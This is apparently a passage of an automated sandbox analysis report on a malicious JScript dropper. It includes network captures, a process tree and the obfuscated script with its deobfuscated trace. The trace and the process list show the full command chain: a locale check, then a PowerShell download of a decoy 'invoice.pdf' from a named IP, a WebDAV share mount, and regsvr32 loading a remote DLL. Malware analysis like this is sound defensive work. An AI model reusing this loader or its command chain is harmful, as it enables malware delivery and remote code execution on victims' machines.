0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:04:08.724380970 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:04:08.724468946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:04:08.724493027 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 03:04:08.724508047 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 03:04:08.724605083 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 03:04:08.724618912 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 03:04:08.724709034 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 11, 2025 03:04:08.724723101 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 03:04:08.724739075 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 03:04:08.729446888 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	7984	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:04:10.155317068 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:04:10.955724001 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:04:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	21:03:56
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js"
Imagebase:	0x7ff6eb600000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:03:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll
Imagebase:	0x7ff681db0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:03:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:03:58
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:04:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:04:08
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff681db0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:04:08
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff695c60000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:04:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:04:09
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:04:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,3756341441224561509,5222484860576881628,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function agomolue() {	agomolue() ➔ undefined
1	iwhokss = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fjqakn = this[qbbllnlbc + rlalcaf + wibddsv + blnnohe + ogeslvej + kohwzmr + fraoctr + bxvftbbe] ( this[nisgoseyc + mobrqtkcj + ihmvvxcbs + wibddsv + dgrlb + qbbllnlbc + bxvftbbe][tnduutpcs + wibddsv + ogeslvej + rlalcaf + bxvftbbe + ogeslvej + ryhhnmma + usafmtqd + rhfktuq + ogeslvej + ihmvvxcbs + bxvftbbe] ( nisgoseyc + mobrqtkcj + ihmvvxcbs + wibddsv + dgrlb + qbbllnlbc + bxvftbbe + zjwtq + mobrqtkcj + ztxmdrlra + ogeslvej + vlfefvwvk + vlfefvwvk ) [qmhbwm + ogeslvej + vzegqxvts + qmhbwm + ogeslvej + rlalcaf + kaykwzady] ( cxfszod + pvntqbjti + eyrmpwf + brsgwrg + vcikfbu + tnduutpcs + rmlrs + qmhbwm + qmhbwm + eyrmpwf + hloyvxtad + gwydtfrx + vcikfbu + rmlrs + mobrqtkcj + eyrmpwf + qmhbwm + shweqjgzv + tnduutpcs + lpoat + fraoctr + bxvftbbe + wibddsv + lpoat + vlfefvwvk + cypjgu + uyquc + rlalcaf + fraoctr + ogeslvej + vlfefvwvk + shweqjgzv + kohwzmr + fraoctr + bxvftbbe + ogeslvej + wibddsv + fraoctr + rlalcaf + bxvftbbe + dgrlb + lpoat + fraoctr + rlalcaf + vlfefvwvk + shweqjgzv + ucfvfknhf + lpoat + ihmvvxcbs + rlalcaf + vlfefvwvk + ogeslvej ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ivdrqwgj = 0 ; ivdrqwgj < iwhokss[vlfefvwvk + ogeslvej + fraoctr + vzegqxvts + bxvftbbe + ztxmdrlra] ; ++ ivdrqwgj )
4	{
5	if ( fjqakn == iwhokss[ivdrqwgj] )
6	{
7	fjqakn = true;
8	break ;
9	}
10	}
11	if ( fjqakn !== true )
12	this[nisgoseyc + mobrqtkcj + ihmvvxcbs + wibddsv + dgrlb + qbbllnlbc + bxvftbbe][ptfksg + umcyrmjhp + dgrlb + bxvftbbe] ( );
13	this[nisgoseyc + mobrqtkcj + ihmvvxcbs + wibddsv + dgrlb + qbbllnlbc + bxvftbbe][tnduutpcs + wibddsv + ogeslvej + rlalcaf + bxvftbbe + ogeslvej + ryhhnmma + usafmtqd + rhfktuq + ogeslvej + ihmvvxcbs + bxvftbbe] ( nisgoseyc + mobrqtkcj + ihmvvxcbs + wibddsv + dgrlb + qbbllnlbc + bxvftbbe + zjwtq + mobrqtkcj + ztxmdrlra + ogeslvej + vlfefvwvk + vlfefvwvk ) [wibddsv + umcyrmjhp + fraoctr] ( ihmvvxcbs + ftlowu + kaykwzady + cypjgu + fuutksy + ihmvvxcbs + cypjgu + qbbllnlbc + lpoat + ovpwgarzm + ogeslvej + wibddsv + blnnohe + ztxmdrlra + ogeslvej + vlfefvwvk + vlfefvwvk + zjwtq + ogeslvej + ixzinzs + ogeslvej + cypjgu + vwyxnfso + tnduutpcs + lpoat + ftlowu + ftlowu + rlalcaf + fraoctr + kaykwzady + cypjgu + aozbvluoz + kohwzmr + fraoctr + aqzicex + lpoat + ptbrzqd + ogeslvej + vwyxnfso + nisgoseyc + ogeslvej + usafmtqd + qmhbwm + ogeslvej + fqvqvk + umcyrmjhp + ogeslvej + blnnohe + bxvftbbe + cypjgu + vwyxnfso + ryhhnmma + umcyrmjhp + bxvftbbe + dftytop + dgrlb + vlfefvwvk + ogeslvej + cypjgu + yehphnjgt + bxvftbbe + ogeslvej + ftlowu + qbbllnlbc + yehphnjgt + shweqjgzv + dgrlb + fraoctr + aqzicex + lpoat + dgrlb + ihmvvxcbs + ogeslvej + zjwtq + qbbllnlbc + kaykwzady + pwjdn + cypjgu + ztxmdrlra + bxvftbbe + bxvftbbe + qbbllnlbc + ukarg + fuutksy + fuutksy + rzipj + xdkpzxlib + kjkrws + zjwtq + rzipj + uyjjicqr + kjkrws + zjwtq + rzipj + zjwtq + hbrzplgs + nkyptj + mjdsde + fuutksy + dgrlb + fraoctr + aqzicex + lpoat + dgrlb + ihmvvxcbs + ogeslvej + zjwtq + qbbllnlbc + ztxmdrlra + qbbllnlbc + aozbvluoz + ewfrfqcg + ewfrfqcg + blnnohe + bxvftbbe + rlalcaf + wibddsv + bxvftbbe + cypjgu + yehphnjgt + bxvftbbe + ogeslvej + ftlowu + qbbllnlbc + yehphnjgt + shweqjgzv + dgrlb + fraoctr + aqzicex + lpoat + dgrlb + ihmvvxcbs + ogeslvej + zjwtq + qbbllnlbc + kaykwzady + pwjdn + ewfrfqcg + ewfrfqcg + ihmvvxcbs + ftlowu + kaykwzady + cypjgu + fuutksy + ihmvvxcbs + cypjgu + fraoctr + ogeslvej + bxvftbbe + cypjgu + umcyrmjhp + blnnohe + ogeslvej + cypjgu + shweqjgzv + shweqjgzv + rzipj + xdkpzxlib + kjkrws + zjwtq + rzipj + uyjjicqr + kjkrws + zjwtq + rzipj + zjwtq + hbrzplgs + nkyptj + mjdsde + ovoooojwc + ipkqimrom + ipkqimrom + ipkqimrom + ipkqimrom + shweqjgzv + kaykwzady + rlalcaf + aqzicex + ovpwgarzm + ovpwgarzm + ovpwgarzm + wibddsv + lpoat + lpoat + bxvftbbe + shweqjgzv + ewfrfqcg + ewfrfqcg + ihmvvxcbs + ftlowu + kaykwzady + cypjgu + fuutksy + ihmvvxcbs + cypjgu + wibddsv + ogeslvej + vzegqxvts + blnnohe + aqzicex + wibddsv + kjkrws + hbrzplgs + cypjgu + fuutksy + blnnohe + cypjgu + shweqjgzv + shweqjgzv + rzipj + xdkpzxlib + kjkrws + zjwtq + rzipj + uyjjicqr + kjkrws + zjwtq + rzipj + zjwtq + hbrzplgs + nkyptj + mjdsde + ovoooojwc + ipkqimrom + ipkqimrom + ipkqimrom + ipkqimrom + shweqjgzv + kaykwzady + rlalcaf + aqzicex + ovpwgarzm + ovpwgarzm + ovpwgarzm + wibddsv + lpoat + lpoat + bxvftbbe + shweqjgzv + rzipj + mjdsde + ipkqimrom + rzipj + ipkqimrom + ipkqimrom + hbrzplgs + hbrzplgs + hbrzplgs + qnopsox + uyjjicqr + ipkqimrom + zjwtq + kaykwzady + vlfefvwvk + vlfefvwvk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll",0,false) ➔ 0
14	}
15	ewfrfqcg = "&";
16	dgrlb = "Z";
17	dgrlb = "d";
18	dgrlb = "Q";
19	dgrlb = "i";
20	dgrlb = "x";
21	dgrlb = "H";
22	dgrlb = "C";
23	dgrlb = "s";
24	dgrlb = "q";
25	dgrlb = "d";
26	dgrlb = "L";
27	dgrlb = "T";
28	dgrlb = "L";
29	dgrlb = "U";
30	dgrlb = "A";
31	dgrlb = "H";
32	dgrlb = "N";
33	dgrlb = "G";
34	dgrlb = "p";
35	dgrlb = "R";
36	dgrlb = "w";
37	dgrlb = "u";
38	dgrlb = "m";
39	dgrlb = "u";
40	dgrlb = "y";
41	dgrlb = "Q";
42	dgrlb = "o";
43	dgrlb = "H";
44	dgrlb = "E";
45	dgrlb = "X";
46	dgrlb = "p";
47	dgrlb = "y";
48	dgrlb = "D";
49	dgrlb = "A";
50	dgrlb = "j";
51	dgrlb = "S";
52	dgrlb = "U";
53	dgrlb = "Q";
54	dgrlb = "q";
55	dgrlb = "c";
56	dgrlb = "i";
57	dgrlb = "i";
58	wibddsv = "h";
59	wibddsv = "h";
60	wibddsv = "F";
61	wibddsv = "r";
62	cxfszod = "n";
63	cxfszod = "p";
64	cxfszod = "Q";
65	cxfszod = "J";
66	cxfszod = "U";
67	cxfszod = "R";
68	cxfszod = "k";
69	cxfszod = "w";
70	cxfszod = "f";
71	cxfszod = "J";
72	cxfszod = "T";
73	cxfszod = "m";
74	cxfszod = "g";
75	cxfszod = "D";
76	cxfszod = "E";
77	cxfszod = "P";
78	cxfszod = "C";
79	cxfszod = "D";
80	cxfszod = "V";
81	cxfszod = "r";
82	cxfszod = "H";
83	ixzinzs = "V";
84	ixzinzs = "Z";
85	ixzinzs = "m";
86	ixzinzs = "j";
87	ixzinzs = "k";
88	ixzinzs = "U";
89	ixzinzs = "J";
90	ixzinzs = "d";
91	ixzinzs = "l";
92	ixzinzs = "B";
93	ixzinzs = "R";
94	ixzinzs = "u";
95	ixzinzs = "z";
96	ixzinzs = "G";
97	ixzinzs = "t";
98	ixzinzs = "n";
99	ixzinzs = "D";
100	ixzinzs = "j";
101	ixzinzs = "K";
102	ixzinzs = "u";
103	ixzinzs = "C";
104	ixzinzs = "y";
105	ixzinzs = "H";
106	ixzinzs = "b";
107	ixzinzs = "c";
108	ixzinzs = "x";
109	shweqjgzv = "v";
110	shweqjgzv = "j";
111	shweqjgzv = "B";
112	shweqjgzv = "o";
113	shweqjgzv = "k";
114	shweqjgzv = "w";
115	shweqjgzv = "p";
116	shweqjgzv = "D";
117	shweqjgzv = "o";
118	shweqjgzv = "X";
119	shweqjgzv = "n";
120	shweqjgzv = "X";
121	shweqjgzv = "J";
122	shweqjgzv = "\\";
123	fqvqvk = "K";
124	fqvqvk = "q";
125	fqvqvk = "v";
126	fqvqvk = "v";
127	fqvqvk = "z";
128	fqvqvk = "i";
129	fqvqvk = "z";
130	fqvqvk = "g";
131	fqvqvk = "t";
132	fqvqvk = "A";
133	fqvqvk = "m";
134	fqvqvk = "v";
135	fqvqvk = "R";
136	fqvqvk = "U";
137	fqvqvk = "o";
138	fqvqvk = "a";
139	fqvqvk = "q";
140	kjkrws = "J";
141	kjkrws = "i";
142	kjkrws = "F";
143	kjkrws = "R";
144	kjkrws = "3";
145	zjwtq = "t";
146	zjwtq = "V";
147	zjwtq = "w";
148	zjwtq = "E";
149	zjwtq = "d";
150	zjwtq = "q";
151	zjwtq = "h";
152	zjwtq = "d";
153	zjwtq = "v";
154	zjwtq = "c";
155	zjwtq = "u";
156	zjwtq = "T";
157	zjwtq = "d";
158	zjwtq = "I";
159	zjwtq = "K";
160	zjwtq = "K";
161	zjwtq = ".";
162	usafmtqd = "p";
163	usafmtqd = "t";
164	usafmtqd = "L";
165	usafmtqd = "J";
166	usafmtqd = "q";
167	usafmtqd = "x";
168	usafmtqd = "y";
169	usafmtqd = "U";
170	usafmtqd = "P";
171	usafmtqd = "V";
172	usafmtqd = "c";
173	usafmtqd = "F";
174	usafmtqd = "B";
175	usafmtqd = "g";
176	usafmtqd = "H";
177	usafmtqd = "h";
178	usafmtqd = "b";
179	kohwzmr = "f";
180	kohwzmr = "x";
181	kohwzmr = "A";
182	kohwzmr = "T";
183	kohwzmr = "X";
184	kohwzmr = "Z";
185	kohwzmr = "H";
186	kohwzmr = "E";
187	kohwzmr = "S";
188	kohwzmr = "R";
189	kohwzmr = "H";
190	kohwzmr = "y";
191	kohwzmr = "P";
192	kohwzmr = "F";
193	kohwzmr = "b";
194	kohwzmr = "S";
195	kohwzmr = "y";
196	kohwzmr = "f";
197	kohwzmr = "A";
198	kohwzmr = "R";
199	kohwzmr = "p";
200	kohwzmr = "z";
201	kohwzmr = "b";
202	kohwzmr = "i";
203	kohwzmr = "R";
204	kohwzmr = "w";
205	kohwzmr = "q";
206	kohwzmr = "e";
207	kohwzmr = "y";
208	kohwzmr = "S";
209	kohwzmr = "x";
210	kohwzmr = "r";
211	kohwzmr = "h";
212	kohwzmr = "e";
213	kohwzmr = "L";
214	kohwzmr = "g";
215	kohwzmr = "h";
216	kohwzmr = "q";
217	kohwzmr = "b";
218	kohwzmr = "q";
219	kohwzmr = "I";
220	ftlowu = "n";
221	ftlowu = "Q";
222	ftlowu = "z";
223	ftlowu = "X";
224	ftlowu = "F";
225	ftlowu = "i";
226	ftlowu = "x";
227	ftlowu = "R";
228	ftlowu = "n";
229	ftlowu = "q";
230	ftlowu = "l";
231	ftlowu = "r";
232	ftlowu = "R";
233	ftlowu = "b";
234	ftlowu = "B";
235	ftlowu = "g";
236	ftlowu = "Q";
237	ftlowu = "r";
238	ftlowu = "q";
239	ftlowu = "Q";
240	ftlowu = "c";
241	ftlowu = "r";
242	ftlowu = "W";
243	ftlowu = "u";
244	ftlowu = "B";
245	ftlowu = "Z";
246	ftlowu = "x";
247	ftlowu = "f";
248	ftlowu = "H";
249	ftlowu = "w";
250	ftlowu = "A";
251	ftlowu = "d";
252	ftlowu = "E";
253	ftlowu = "f";
254	ftlowu = "m";
255	ftlowu = "m";
256	tnduutpcs = "c";
257	tnduutpcs = "t";
258	tnduutpcs = "N";
259	tnduutpcs = "A";
260	tnduutpcs = "v";
261	tnduutpcs = "L";
262	tnduutpcs = "T";
263	tnduutpcs = "x";
264	tnduutpcs = "k";
265	tnduutpcs = "u";
266	tnduutpcs = "Q";
267	tnduutpcs = "K";
268	tnduutpcs = "y";
269	tnduutpcs = "d";
270	tnduutpcs = "R";
271	tnduutpcs = "C";
272	tnduutpcs = "T";
273	tnduutpcs = "O";
274	tnduutpcs = "W";
275	tnduutpcs = "S";
276	tnduutpcs = "q";
277	tnduutpcs = "w";
278	tnduutpcs = "S";
279	tnduutpcs = "o";
280	tnduutpcs = "u";
281	tnduutpcs = "Q";
282	tnduutpcs = "C";
283	ucfvfknhf = "m";
284	ucfvfknhf = "Q";
285	ucfvfknhf = "R";
286	ucfvfknhf = "p";
287	ucfvfknhf = "p";
288	ucfvfknhf = "K";
289	ucfvfknhf = "A";
290	ucfvfknhf = "f";
291	ucfvfknhf = "t";
292	ucfvfknhf = "e";
293	ucfvfknhf = "s";
294	ucfvfknhf = "B";
295	ucfvfknhf = "r";
296	ucfvfknhf = "g";
297	ucfvfknhf = "j";
298	ucfvfknhf = "l";
299	ucfvfknhf = "F";
300	ucfvfknhf = "E";
301	ucfvfknhf = "N";
302	ucfvfknhf = "P";
303	ucfvfknhf = "Z";
304	ucfvfknhf = "p";
305	ucfvfknhf = "e";
306	ucfvfknhf = "K";
307	ucfvfknhf = "L";
308	rmlrs = "F";
309	rmlrs = "x";
310	rmlrs = "W";
311	rmlrs = "n";
312	rmlrs = "b";
313	rmlrs = "l";
314	rmlrs = "R";
315	rmlrs = "W";
316	rmlrs = "f";
317	rmlrs = "b";
318	rmlrs = "j";
319	rmlrs = "c";
320	rmlrs = "R";
321	rmlrs = "f";
322	rmlrs = "H";
323	rmlrs = "F";
324	rmlrs = "T";
325	rmlrs = "j";
326	rmlrs = "f";
327	rmlrs = "G";
328	rmlrs = "w";
329	rmlrs = "l";
330	rmlrs = "c";
331	rmlrs = "Q";
332	rmlrs = "n";
333	rmlrs = "V";
334	rmlrs = "D";
335	rmlrs = "Y";
336	rmlrs = "F";
337	rmlrs = "Y";
338	rmlrs = "t";
339	rmlrs = "W";
340	rmlrs = "R";
341	rmlrs = "d";
342	rmlrs = "u";
343	rmlrs = "O";
344	rmlrs = "J";
345	rmlrs = "s";
346	rmlrs = "B";
347	rmlrs = "K";
